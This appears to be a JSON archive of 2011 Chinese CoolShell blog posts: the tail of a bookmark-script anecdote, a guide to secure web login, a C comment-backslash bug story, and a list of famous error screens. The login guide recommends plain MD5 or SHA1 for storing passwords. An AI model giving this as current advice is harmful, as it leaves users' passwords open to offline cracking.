}\n}\n```\n\n然后直接扒下来就放上去了，通过某种方式在SilverLight中调用这段JavaScript，签入，搞定了！结果到了测试那边发现完全不能用，无论在IE6/7/8/9/10，还是在FireFox/Safari/Chrome上面，都不能使用。我问：\n\n\n“这是什么原因呢？”\n\n\n“不知道，反正浏览器报告没有权限，可能是浏览器的安全设置原因吧，或者操作系统的Bug，也可能是浏览器的某种Bug？”\n\n\n“不可能啊？这些代码存在很多年了，要有问题早就能在网上搜索到了。”\n\n\n“那也许是SilverLight调用的时候有什么安全问题。哎！SilverLight好烦啊！”\n\n\n“那怎么还没有解决呢？”\n\n\n“好，我马上解决它！”\n\n\n很快，那段Javascript就变成了：\n\n\n\n```\nfunction AddBookmark(Url, LabeName) {\n  try\n  {\n    if (document.all)\n    {\n      window.external.addFavorite(Url, LabeName);\n    }\n    else if (window.sidebar)\n    {\n      window.sidebar.addPanel(LabeName, Url, '');\n    }\n  }\n  catch\n  {\n    alert(\"您的浏览器因为安全设置的问题无法收藏，请手动添加收藏！\");\n  }\n}\n```\n\n看到这样的代码，我彻底震惊了。亲自调试了一下，发现确实报告了一个“没有权限”的异常。但是，我还发现，那个Url参数的值是“www.adomainname.com\\test\\page.html”。那这不废话么！浏览器认为你要收藏的是一个本地硬盘上的路径，怎么可能在一个Internet Zone上允许收藏这种路径呢？我于是指着代码问：\n\n\n“这个Url是什么？”\n\n\n“是一个变量”\n\n\n“啊？”\n\n\n“哦，不对，是一个参数。”\n\n\n你是否也有类似的经历呢？\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg](https://coolshell.cn/articles/3005.html)[代码重构的一个示例](https://coolshell.cn/articles/3005.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg](https://coolshell.cn/articles/2058.html)[各种流行的编程风格](https://coolshell.cn/articles/2058.html)\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\nThe post [弱爆程序员的特征值](https://coolshell.cn/articles/5292.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-8-25 你会做Web上的用户登录功能吗？.md",
    "content": "---\nlayout: post\ntitle: 你会做Web上的用户登录功能吗？\ndate: 2011/8/25/ 0:48:48\nupdated: 2011/8/25/ 0:48:48\nstatus: publish\npublished: true\ntype: post\n---\n\nWeb上的用户登录功能应该是最基本的功能了，可是在我看过一些站点的用户登录功能后，我觉得很有必要写一篇文章教大家怎么来做用户登录功能。下面的文章告诉大家这个功能可能并没有你所想像的那么简单，这是一个关系到用户安全的功能，希望大家能从下面的文章中能知道什么样的方法才是一个好的用户登录功能。**以下内容，转载时请保持原文一致，并请注明作者和出处**。\n\n\n#### 用户名和口令\n\n\n首先，我们先来说说用户名和口令的事。这并不是本站第一次谈论这个事了。[如何管理自己的口令](https://coolshell.cn/articles/2428.html \"如何管理并设计你的口令\")让你知道怎么管理自己的口令，[破解你的口令](https://coolshell.cn/articles/3801.html \"破解你的口令\")让你知道在现代这样速度的计算速度下，用穷举法破解你的口令可能会是一件很轻松的事。在这里我想告诉从开发者的角度上来做设计这个用户名和口令的事。下面一几件规则：\n\n\n* **限制用户输入一些非常容易被破解的口令**。如什么qwert，123456, password之类，就像[twitter限制用户的口令](https://coolshell.cn/articles/2451.html \"Twitter的禁用口令\")一样做一个口令的黑名单。另外，你可以限制用户口令的长度，是否有大小写，是否有数字，你可以用你的程序做一下校验。当然，这可能会让用户感到很不爽，所以，现在很多网站都提供了UX让用户知道他的口令强度是什么样的（比如[这个有趣的UX](https://coolshell.cn/articles/3877.html \"另类UX让你输入强口令\")），这样可以让用户有一个选择，目的就是告诉用户——要想安全，先把口令设得好一点。\n\n\n* **千万不要明文保存用户的口令**。正如[如何管理自己的口令](https://coolshell.cn/articles/2428.html \"如何管理并设计你的口令\")所说的一样，很多时候，用户都会用相同的ID相同的口令来登录很多网站。所以，如果你的网站明文保存的话，那么，如果你的数据被你的不良员工流传出去那对用户是灾难性的。所以，用户的口令一定要加密保存，最好是用不可逆的加密，如MD5或是SHA1之类的有hash算法的不可逆的加密算法。CSDN曾明文保存过用户的口令。（另，对于国内公司的品行以及有关部门的管理方式，我不敢保证国内网站以加密的方式保存你的口令。我觉得，做为一个有良知的人，我们应该加密保存用户的口令）\n\n\n\n* **是否让浏览器保存口令**。我们有N多的方法可以不让浏览器保存用户名和口令。但是这可能对用户来说很不爽。因为在真实世界里谁也记得不住那么多的口令。很多用户可能会使用一些密码管理工具来保存密码，浏览器只是其中一种。是否让浏览器保存这个需要你做决定，重点是看一下你的系统的安全级别是否要求比较高，如果是的话，则不要让浏览器保存密码，并在网站明显的位置告诉用户——保存口令最安全的地方只有你的大脑。\n\n\n* **口令在网上的传输**。因为HTTP是明文协议，所以，用户名和口令在网上也是明文发送的，这个很不安全。你可以看看[这篇文章](http://www.blogjava.net/heyang/archive/2011/04/05/340330.html \"用Wireshark从http数据包中得到用户的登录信息\")你就明白了。要做到加密传输就必需使用HTTPS协议。但是，在中国还是有很多网站的Web登录方式还在使用ActiveX控件，这可能成为IE6还大量存在的原因。我通常理解为这些ActiveX控件是为了反键盘记录程序的。 不过，我依然觉ActiveX控件不应该存在，因为在国外的众多安全很重要的站点上都看不到ActiveX的控件的身影。\n\n\n#### 用户登录状态\n\n\n首先，我想告诉大家的是，因为HTTP是无状态的协议，也就是说，这个协议是无法记录用户访问状态的，其每次请求都是独立的无关联的，一笔是一笔。而我们的网站都是设计成多个页面的，所在页面跳转过程中我们需要知道用户的状态，尤其是用户登录的状态，这样我们在页面跳转后我们才知道是否可以让用户有权限来操作一些功能或是查看一些数据。\n\n\n**所以，我们每个页面都需要对用户的身份进行认证**。当然，我们不可能让用户在每个页面上输入用户名和口令，这会让用户觉得我们的网站相当的SB。为了实现这一功能，用得最多的技术就是浏览器的cookie，我们会把用户登录的信息存放在客户端的cookie里，这样，我们每个页面都从这个cookie里获得用户是否登录的信息，从而达到记录状态，验证用户的目的。但是，你真的会用cookie吗？下面是使用cookie的一些原则。\n\n\n* **千万不要在cookie中存放用户的密码**。加密的密码都不行。因为这个密码可以被人获取并尝试离线穷举。所以，你一定不能把用户的密码保存在cookie中。我看到太多的站点这么干了。\n\n\n* **正确设计“记住密码”**。这个功能简直就是一个安全隐患，我觉得并不是所有的程序员都知道怎么设计这个事。一般的设计 是——一时用户勾选了这个功能，系统会生成一个cookie，cookie包括用户名和一个固定的散列值，这个固定的散列值一直使用。这样，你就可以在所有的设备和客户上都可以登录，而且可以有多个用户同时登录。这个并不是很安全。下面是一些更为安全的方法供你参考：  \n\n（——***更新 2011/08/26，原文中有些小错误，并且说的不清楚，重新调整了一下——***）\n\n\n1）在cookie中，保存三个东西——**用户名**，**登录序列**，**登录token**。\n\n\n**用户名**：明文存放。  \n\n**登录序列**：一个被MD5散列过的随机数，仅当强制用户输入口令时更新（如：用户修改了口令）。  \n\n**登录token**：一个被MD5散列过的随机数，仅一个登录session内有效，新的登录session会更新它。\n\n\n2）上述三个东西会存在服务器上，服务器的验证用户需要验证客户端cookie里的这三个事。\n\n\n3）这样的设计会有什么样的效果，会有下面的效果，\n\n\na）**登录token**是单实例登录。意思就是一个用户只能有一个登录实例。\n\n\nb）**登录序列**是用来做盗用行为检测的。如果用户的cookie被盗后，盗用者使用这个cookie访问网站时，我们的系统是以为是合法用户，然后更新“**登录token**”，而真正的用户回来访问时，系统发现只有“**用户名**”和“**登录序列**”相同，但是“**登录token**” 不对，这样的话，系统就知道，这个用户可能出现了被盗用的情况，于是，系统可以清除并更改**登录序列** 和****登录token****，这样就可以令所有的cookie失效，并要求用户输入口令。并给警告用户系统安全。\n\n\n4）当然，**上述这样的设计还是会有一些问题，比如：同一用户的不同设备登录，甚至在同一个设备上使用不同的浏览器保登录**。一个设备会让另一个设备的**登录token**和**登录序列**失效，从而让其它设备和浏览器需要重新登录，并会造成cookie被盗用的假象。所以，你在服务器服还需要考虑- **IP 地址**，\n\n\na) 如果以口令方式登录，我们无需更新服务器的“**登录序列**”和 “**登录token**”（但需要更新cookie）。因为我们认为口令只有真正的用户知道。\n\n\nb) 如果 **IP相同** ，那么，我们无需更新服务器的“**登录序列**”和 “**登录token**”（但需要更新cookie）。因为我们认为是同一用户有同一IP（当然，同一个局域网里也有同一IP，但我们认为这个局域网是用户可以控制的。网吧内并不推荐使用这一功能）。\n\n\nc) 如果 （**IP不同** && **没有用口令登录**），那么，“**登录token**” 就会在多个IP间发生变化（登录token在两个或多个ip间被来来回回的变换），当在一定时间内达到一定次数后，系统才会真正觉得被盗用的可能性很高，此时系统在后台清除“**登录序列**”和“**登录token**“，让Cookie失效，强制用户输入口令（或是要求用户更改口令），以保证多台设备上的cookie一致。\n\n\n* **不要让cookie有权限访问所有的操作**。否则就是XSS攻击，这个功能请参看[新浪微博的XSS攻击](https://coolshell.cn/articles/4914.html \"新浪微博的XSS攻击\")。下面的这些功能一定要用户输入口令：\n\n\n1）修改口令。\n2）修改电子邮件。（电子邮件通常用来找回用户密码，最好通发邮件或是发手机短信的方式修改，或者干脆就不让改一一用电子邮件做帐号名）\n3）用户的隐私信息。\n4）用户消费功能。\n\n* **权衡Cookie的过期时间。**如果是永不过期，会有很不错的用户体验，但是这也会让用户很快就忘了登录密码。如果设置上过期期限，比如2周，一个月，那么可能会好一点，但是2周和一个月后，用户依然会忘了密码。尤其是用户在一些公共电脑上，如果保存了永久cookie的话，等于泄露了帐号。所以，对于cookie的过期时间我们还需要权衡。\n\n\n\n#### 找回口令的功能\n\n\n找回口令的功能一定要提供。但是很多朋友并不知道怎么来设计这个功能。我们有很多找回口令的设计，下面我逐个点评一下。\n\n\n* **千万不要使用安全问答**。事实证明，这个环节很烦人，而且用户并不能很好的设置安全问答。什么，我的生日啊，我母亲的生日，等等。因为今天的互联网和以前不一样了，因为SNS，今天的互联比以前更真实了，我可以上facebook，开心，人人网，LinkedIn查到你的很多的真实的信息。通过这些信息我可以使用安全问答来重设你的口令。 这里需要说一下 Facebook，Facebook的安全问答很强大，还要你通过照片认人，呵呵。\n\n\n* **不要重置用户的密码**。因为这有可能让用户的密码遭到恶意攻击。当然，你要发个邮件给用户让其确认，用户点击邮件中的一个链接，你再重置。我并不推荐这样的方法，因为用户一般都会用笔记下来这个很难记的口令，然后登录系统，因为登录系统时使用了“记住密码”的功能，所以导致用户不会去修改密码，从而要么导到被写下来的密码被人盗取，要么又忘记了密码。\n\n\n* **好一点的做法——通过邮件自行重置**。当用户申请找回口令功能的时候，系统生成一个MD5唯一的随机字串（可通过UID+IP+timestamp+随机数），放在数据库中，然后设置上时限（比如1小时内），给用户发一个邮件，这个连接中包含那个MD5的字串的链接，用户通过点击那个链接来自己重新设置新的口令。\n\n\n* **更好一点的做法——多重认证**。比如：通过手机+邮件的方式让用户输入验证码。手机+邮件可能还不把握，因为手机要能会丢了，而我的手机可以访问我的邮箱。所以，使用U盾，SecureID（一个会变化的6位数token），或是通过人工的方式核实用户身份。当然，这主要看你的系统的安全级别了。\n\n\n#### 口令探测防守\n\n\n* **使用验证码**。验证码是后台随机产生的一个短暂的验证码，这个验证码一般是一个计算机很难识别的图片。这样就可以防止以程序的方式来尝试用户的口令。事实证明，这是最简单也最有效的方式。当然，总是让用户输入那些肉眼都看不清的验证码的用户体验不好，所以，可以折中一下。比如Google，当他发现一个IP地址发出大量的搜索后，其会要求你输入验证码。当他发现同一个IP注册了3个以上的gmail邮箱后，他需要给你发短信方式或是电话方式的验证码。\n\n\n* **用户口令失败次数**。调置口令失败的上限，如果失败过多，则把帐号锁了，需要用户以找回口令的方式来重新激活帐号。但是，这个功能可能会被恶意人使用。最好的方法是，增加其尝试的时间成本（以前的这篇文章说过一个[增加时间成本的解密算法](https://coolshell.cn/articles/2078.html \"如何防范密码被破解\")）。如，两次口令尝试的间隔是5秒钟。三次以上错误，帐号被临时锁上30秒，5次以上帐号被锁1分钟，10次以上错误帐号被锁4小时……但是这会导致恶意用户用脚本来攻击，所以最好再加上验证码，验证码出错次数过多不禁止登录而是禁lP。\n\n\n* **系统全局防守**。上述的防守只针对某一个别用户。恶意者们深知这一点，所以，他们一般会动用“僵尸网络”轮着尝试一堆用户的口令，所以上述的那种方法可能还不够好。我们需要在系统全局域上监控所有的口令失败的次数。当然，这个需要我们平时没有受到攻击时的数据做为支持。比如你的系统，平均每天有5000次的口令错误的事件，那么你可以认为，当口令错误大幅超过这个数后，而且时间相对集中，就说明有黑客攻击。这个时候你怎么办？一般最常见使用的方法是让所有的用户输错口令后再次尝试的时间成本增加。\n\n\n最后，再说一下，关于用户登录，使用第三方的 OAuth 和 OpenID 也不失为一个很不错的选择。\n#### 参考文章\n\n\n* [OWASP Guide To Authentication](http://www.owasp.org/index.php/Guide_to_Authentication)\n* [Dos and Don’ts of Client Authentication on the Web](http://www.cs.umass.edu/~kevinfu/papers/webauth_tr.pdf)（PDF）\n* [Charles Miller’s Persistent Login Cookie Best Practice](http://fishbowl.pastiche.org/2004/01/19/persistent_login_cookie_best_practice/)\n* [Wikipedia: HTTP cookie](http://en.wikipedia.org/wiki/HTTP_cookie#Drawbacks_of_cookies)\n* [Personal knowledge questions for fallback authentication: Security questions in the era of Facebook](http://cups.cs.cmu.edu/soups/2008/proceedings/p13Rabkin.pdf)\n\n\n（**以上内容，转载时请保持原文一致，并请注明作者和出处**）\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![CSDN明文口令泄露的启示](../wp-content/uploads/2011/12/63071edagw1doah4id8l4j-150x150.jpg)](https://coolshell.cn/articles/6193.html)[CSDN明文口令泄露的启示](https://coolshell.cn/articles/6193.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg](https://coolshell.cn/articles/3877.html)[另类UX让你输入强口令](https://coolshell.cn/articles/3877.html)\n* [![破解你的口令](../wp-content/uploads/2011/02/passwords-150x150.png)](https://coolshell.cn/articles/3801.html)[破解你的口令](https://coolshell.cn/articles/3801.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg](https://coolshell.cn/articles/2451.html)[Twitter的禁用口令](https://coolshell.cn/articles/2451.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/2428.html)[如何管理并设计你的口令](https://coolshell.cn/articles/2428.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg](https://coolshell.cn/articles/2078.html)[如何防范密码被破解](https://coolshell.cn/articles/2078.html)\nThe post [你会做Web上的用户登录功能吗？](https://coolshell.cn/articles/5353.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-8-26 C语言中史上最愚蠢的Bug.md",
    "content": "---\nlayout: post\ntitle: C语言中史上最愚蠢的Bug\ndate: 2011/8/26/ 2:17:48\nupdated: 2011/8/26/ 2:17:48\nstatus: publish\npublished: true\ntype: post\n---\n\n本文来自“[The most stupid C bug ever](http://www.elpauer.org/?p=971)”，很有意思，分享给大家。我相信这样的bug，就算你是高手你也会犯的。你来看看作者犯的这个Bug吧。。\n\n\n首先，作者想用一段程序来创建一个文件，如果有文件名的话，就创建真正的文件，如果没有的话，就调用?[tmpfile()](http://linux.die.net/man/3/tmpfile)?创建临时文件。他这段程序就是HTTP下载的C程序。code==200就是HTTP的返回码。\n\n\n\n```\n\nelse if (code == 200) {     // Downloading whole file\n    /* Write new file (plus allow reading once we finish) */\n    g = fname ? fopen(fname, \"w+\") : tmpfile();\n}\n```\n\n但是这个程序，只能在Unix/Linux下工作，因为 Microsoft 的?[tmpfile()的实现](http://msdn.microsoft.com/en-us/library/x8x7sakw.aspx)?居然选择了 C:\\ 作为临时文件的存放目录，这对于那些没有管理员权限的人来说就出大问题了，在Windows 7下，就算你有管理员权限也会有问题。所以，上面的程序在Windows平台下需要用不同的方式来处理，不能直接使用Windows的tmpfile()函数。\n\n\n于是作者就先把这个问题记下来，在注释中写下了FIXME：\n\n\n\n```\n\nelse if (code == 200) {     // Downloading whole file\n    /* Write new file (plus allow reading once we finish) */\n\n    // FIXME Win32 native version fails here because\n    //   Microsoft's version of tmpfile() creates the file in C:\\\n    g = fname ? fopen(fname, \"w+\") : tmpfile();\n}\n```\n\n然后，作者觉得需要写一个跨平台的编译：\n\n\n\n```\nFILE * tmpfile ( void ) {\n#ifndef _WIN32\n    return tmpfile();\n#else\n    //code for Windows;\n#endif\n}\n```\n\n然后，作者觉得这样实现很不好，会发现名字冲突，因为这样一来这个函数太难看了。于是他重构了一下他的代码——写一个自己实现的tmpfile() – w32\\_tmpfile，然后，在Windows 下用宏定义来重命名这个函数为tmpfile()。（陈皓注：这种用法是比较标准的跨平台代码的写法）\n\n\n\n\n```\n#ifdef _WIN32\n  #define tmpfile w32_tmpfile\n#endif\n\nFILE * w32_tmpfile ( void ) {\n    //code for Windows;\n}\n```\n\n搞定！编译程序，运行。靠！居然没有调用到我的w32\\_tmpfile()，什么问题？调试，单步跟踪，果然没有调用到！难道是问号表达式有问题？改成if – else 语句，好了！\n\n\n\n```\nif(NULL != fname) {\n    g = fopen(fname, \"w+\");\n} else {\n    g = tmpfile();\n}\n```\n\n问号表达式不应该有问题吧，难道我们的宏对问号表达式不起作用，这难道是编译器的预编译的一个bug？作者怀疑到。\n\n\n现在我们把所有的代码连在一起看，并比较一下：\n\n\n**能正常工作的代码**\n\n\n\n```\n#ifdef _WIN32\n#  define tmpfile w32_tmpfile\n#endif\n\nFILE * w32_tmpfile ( void ) {\n    code for Windows;\n}\n\nelse if (code == 200) {     // Downloading whole file\n    /* Write new file (plus allow reading once we finish) */\n    // FIXME Win32 native version fails here because\n    //     Microsoft's version of tmpfile() creates the file in C:\\\n    //g = fname ? fopen(fname, \"w+\") : tmpfile();\n    if(NULL != fname) {\n        g = fopen(fname, \"w+\");\n    } else {\n        g = tmpfile();\n    }\n}\n```\n\n**不能正常工作的代码**\n\n\n\n```\n#ifdef _WIN32\n#  define tmpfile w32_tmpfile\n#endif\n\nFILE * w32_tmpfile ( void ) {\n    code for Windows;\n}\n\nelse if (code == 200) {     // Downloading whole file\n    /* Write new file (plus allow reading once we finish) */\n    // FIXME Win32 native version fails here because\n    //    Microsoft's version of tmpfile() creates the file in C:\\\n    g = fname ? fopen(fname, \"w+\") : tmpfile();\n}\n```\n\n也许你在一开始就看到了这个bug，但是作者没有。所有的问题都出在注释上：\n\n\n\n```\n\n/* Write new file (plus allow reading once we finish) */\n// FIXME Win32 native version fails here because\n//     Microsoft's version of tmpfile() creates the file in C:\\\n\n```\n\n**你看到了最后那个C:\\吗？在C中，“\\” 代表此行没有结束，于是，后面的代码也成了注释。这就是这个bug的真正原因**！\n\n\n而之所以改成if-else能工作的原因是因为作者注释了老的问号表达式的代码，所以，那段能工作的代码成了：\n\n\n\n```\n\n/* Write new file (plus allow reading once we finish) */\n// FIXME Win32 native version fails here because Microsoft's version of tmpfile() creates the file in C:    //g = fname ? fopen(fname, \"w+\") : tmpfile();\nif(NULL != fname) {\n    g = fopen(fname, \"w+\");\n} else {\n    g = tmpfile();\n}\n```\n\n我相信，当作者找到这个问题的原因后，一定会骂一句“妈的”！我也相信，这个bug花费了作者很多时间！\n\n\n最后，我也share一个我以前犯的一个错。\n\n\n我有一个小函数，需要传入一个int\\* pInt的类型，然后我需要在我的代码里 把这个int\\* pInt作除数。于是我的代码成了下面的这个样子：\n\n\n\n> float result = num/\\*pInt;  \n> \n> ….\n> \n> \n> /\\*  some comments \\*/\n> \n> \n> -x<10 ? f(result):f(-result);\n> \n> \n\n\n因为我在我当时用vi编写代码，所以没有语法高亮，而我的程序都编译通过了，但是却出现了很奇怪的事。我也不知道，用gdb调式的时候，发现有些语句直接就过了。这个问题让我花了很多时间，最后发现问题原来是没有空格导致的，TNND，下面我用代码高亮的插件来显示上面的代码，\n\n\n\n```\nfloat result = num/*pInt;\n....\n\n/*  some comments */\n\n-x<10 ? f(result):f(-result); \n```\n\nHolly Shit!  我的代码成了：\n\n\n`float result = num-x<10 ? f(result):f(-result);`\n\n\n妈的！我的这个错误在愚蠢程度上和上面那个作者出的错误有一拼。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![“C++的数组不支持多态”？](../wp-content/uploads/2013/04/weibo-150x150.jpg)](https://coolshell.cn/articles/9543.html)[“C++的数组不支持多态”？](https://coolshell.cn/articles/9543.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/8088.html)[对技术的态度](https://coolshell.cn/articles/8088.html)\n* [![程序员技术练级攻略](../wp-content/uploads/2011/07/programmer-150x150.png)](https://coolshell.cn/articles/4990.html)[程序员技术练级攻略](https://coolshell.cn/articles/4990.html)\nThe post [C语言中史上最愚蠢的Bug](https://coolshell.cn/articles/5388.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-8-8 10大经典错误.md",
    "content": "---\nlayout: post\ntitle: 10大经典错误\ndate: 2011/8/8/ 0:37:36\nupdated: 2011/8/8/ 0:37:36\nstatus: publish\npublished: true\ntype: post\n---\n\n下面是10、11个经典的错误，升序排名。希望大家补充！\n\n\n#### 10、DOS的Abort，Retry, Fail？错误\n\n\n85年以后出生的人可能不知道DOS是什么了，只有那老家伙还知道这是什么。我还记得当时的我对于Abort和Fail这两个选择还是比较清楚的，不过，今天完全忘记了Abort和Fail的差别是什么？这个出是DOS下的经常出现，也相当的经典，以至于在Wikepedia上都有专门的业面 [Abort, Retry, Fail?](http://en.wikipedia.org/wiki/Abort,_Retry,_Fail%3F)。简称为ARF。当然，ARI – Abort, Retry, Ignore?\n\n\n![](../wp-content/uploads/2011/08/Dos_Abort_Retry_Fail.png \"Dos Abort Retry Fail\")\n\n\n#### 9、Windows Vista 的红屏错误\n\n\n[红屏错误](http://en.wikipedia.org/wiki/Red_Screen_of_Death)（RSoD – Red Screen of Death）不单单只是Windows Vista引入的（也许是蓝屏太有名了，突然变成红屏，大家觉得这个是比蓝屏更NB的错，所以也就引人关注了），PlayStation的也喜欢使用红屏。\n\n\n![](../wp-content/uploads/2011/08/Longhorn_RSoD.png \"Longhorn RSoD\")Windows Vista 的 RSoD\n\n![](../wp-content/uploads/2011/08/Rsodhc6.png \"PSP的红屏\")PSP的红屏\n#### 8、PC机的开机报警\n\n\n攒过PC的朋友都知道如果你的内存条有问题，PC开机时会长鸣报警，一长一短则是显卡有问题，等等。你可以上Wikipedia上看看相关的词条——[Power On Self-Test Beep](http://en.wikipedia.org/wiki/Power-on_self_test)。\n\n\n![](../wp-content/uploads/2011/08/POST_P5KPL.jpg \"AMI BIOS \")第一代的AMI BIOS\n#### 7、Twitter的大鲸鱼\n\n\nTwitter的服务器负载一吃紧，下面的这个页面就会显现出来了，大家把它叫做**Fail Whale**，这个情况在今年4月份以前的2到3年是非常频繁发生的，现在看似好很多了，看来Twitter工程师们克服了这个负载问题。你千万不要以为这个图是Twitter自己设计的，这个图是一个叫[Yiying Lu](http://www.google.com/search?q=yiying+lu&ie=utf-8&oe=utf-8&aq=t&rls=FlockInc.:en-US:unofficial&client=firefox)的人设计的。不过由Twitter引发出来的文化影响力是比较深远的，甚至还出现了相要把这个事发扬光大的Fail Whale project ([@FailWhale](http://www.twitter.com/failwhale), [failwhale.com](http://www.failwhale.com/))以及相关的T恤衫。你可以看看[这篇文章](http://www.readwriteweb.com/archives/the_story_of_the_fail_whale.php)。\n\n\n![](../wp-content/uploads/2011/08/FailWhale.png \"Twitter Fail Whale\")Twitter Fail Whale\n#### 6、Kernel Panic\n\n\nKernel Panic相关于Windows 的蓝屏错误，其发生在Mac OS X和Linux下，在Mac OS X v10.6 *Snow Leopard*中，当进入内核错误后，会在画面上出现一个有英语、法语、德语、西班牙语及日语的当机画面，被多数用户称为“五国语言当机”，简称“五国”。在Linux上则是Linux Kernel oops。当内核检测到问题时，它会打印一个oops信息然后杀死全部相关进程。oops信息可以帮助Linux内核工程师调试，检测oops出现的条件，并修复导致oops的程序错误。\n\n\n![](../wp-content/uploads/2011/08/Panic10.6.png \"Mac OS X 10.6的内核错误警告，俗称“五国”\")Mac OS X 10.6的内核错误警告，俗称“五国”\n![](../wp-content/uploads/2011/08/Linux-2.6-oops-parisc.jpg \"Linux-2.6-oops-parisc\")PA-RISC上发生的Linux内核oops，用ASCII显示一头死牛\n#### 5、Windows的非法操作\n\n\n这个错误信息主要是操作系统用来保护自己的错误，也就是Windows下的程序crash。通常来说，是内存访问错误引发的。不过，这个东西在windows下太多了，这是Win95和Win98中的大量的问题，包括微软自己的软件也经常出现这个问题，最为典型的就是IE6的crash。让IE6 出现这样的错误真是太简单了，参看[酷壳的这篇文章](https://coolshell.cn/articles/2357.html \"一个jQuery的插件\")。\n\n\n![](../wp-content/uploads/2011/08/gag_screenshot.gif \"该程序执行了非法操作\")该程序执行了非法操作\n#### 4、Windows RPC Error\n\n\n这个错误之所以很牛，是因为在2003年的8月份，很多使用Windows的用户都看到了这个错误，其系统被强行重启，重启了以后又收到这个错误，然后又被重启。这个事看上去就像一个正常的Windows的错误（相当正常，因为这样的红叉叉在Windows上看到了N多次了，用户都习惯了），但其实，这个事是有人故意的，这就是那个著名的[Blaster worm](http://en.wikipedia.org/wiki/Blaster_(computer_worm))蠕虫病毒，其利用了Windows DCOM的一个漏洞。\n\n\n![](../wp-content/uploads/2011/08/Windows-RPC-Error.jpg \"Windows RPC Error\")Windows RPC Error\n#### 3、Xbox 360 三红错误\n\n\n这个错误又叫RRoD – Red Ring of Death，在中国地区叫“三红”。微软在推出的游戏主机Xbox360后，众多用户曾向微软方面投诉游戏主机经常出现不同程度的故障，而且概率偏高，有调查显示，早期版本Xbox360返修率高达68% ，而最近的报告指出故障机率还是有33%。过热是游戏配件产品制造商Nyko认为Xbox360主机发生三红灯警告的主要原因，也有人指出因为Xbox 360机能不足所以长期开机超频引致过热。[有报告指出](http://www.bloomberg.com/apps/news?pid=newsarchive&sid=aOrvYZ2gPwZk&refer=home)微软花费了超过11.5亿美元在回收及修理出现问题的XBOX 360。\n\n\n![](../wp-content/uploads/2011/08/XBox-Red-Ring-of-Death.jpg \"XBox 360 Red Ring of Death\")XBox 360 Red Ring of Death\n#### 2、Web上的404错误\n\n\nHTTP 404或Not Found错误讯息是HTTP的其中一种“标准回应讯息”（HTTP状态码），此讯息代表客户端在浏览网页时，服务器无法打到用户要请求的资源，所以报错。404是一个你无法避免的错误，因为可能是因为用户或你的开发人员编码里打错连接。所以，很多公司借用这个机会来美化404页面，本站以前也介绍过（如：[StackOverflow的404](https://coolshell.cn/articles/2529.html \"StackOverflow的404错误页\")，[各式各样的404错](https://coolshell.cn/articles/1826.html \"几个有趣的404错误页面\")），这里还有一个404的一首诗：\n\n\n\n> \n> four oh four  \n> \n> by mind21\\_98\n> \n> \n> oh what a wonderful tizzy  \n> \n> which was in a fizzy  \n> \n> he couldn’t find the file  \n> \n> which was hiding in the bushes\n> \n> \n> push the back button oh traveller  \n> \n> contact the owner of the last tavern  \n> \n> find out how to get to where you’re going  \n> \n> and be on your way\n> \n> \n\n\n#### 1、Windows 蓝屏错误\n\n\n[Blue Screen of Death](http://en.wikipedia.org/wiki/Blue_Screen_of_Death)，缩写为：**BSoD**。这是这个世界最著名的错误了，和Kernel Panic 一样，基本上就是说，内核死翘翘了。在各种场合上我们都能看到这个错误。\n\n\n![](../wp-content/uploads/2011/08/bjolympics.png \"北京2008奥林匹克\")北京2008奥林匹克\n![](../wp-content/uploads/2011/08/bsodairport.png \"飞机场航班显示\")飞机场航班显示\n![](../wp-content/uploads/2011/08/bsodbay.png \"商场显示屏\")商场显示屏\nBill Gates在Win98发布会上的蓝屏遭遇：\n\n\n\n 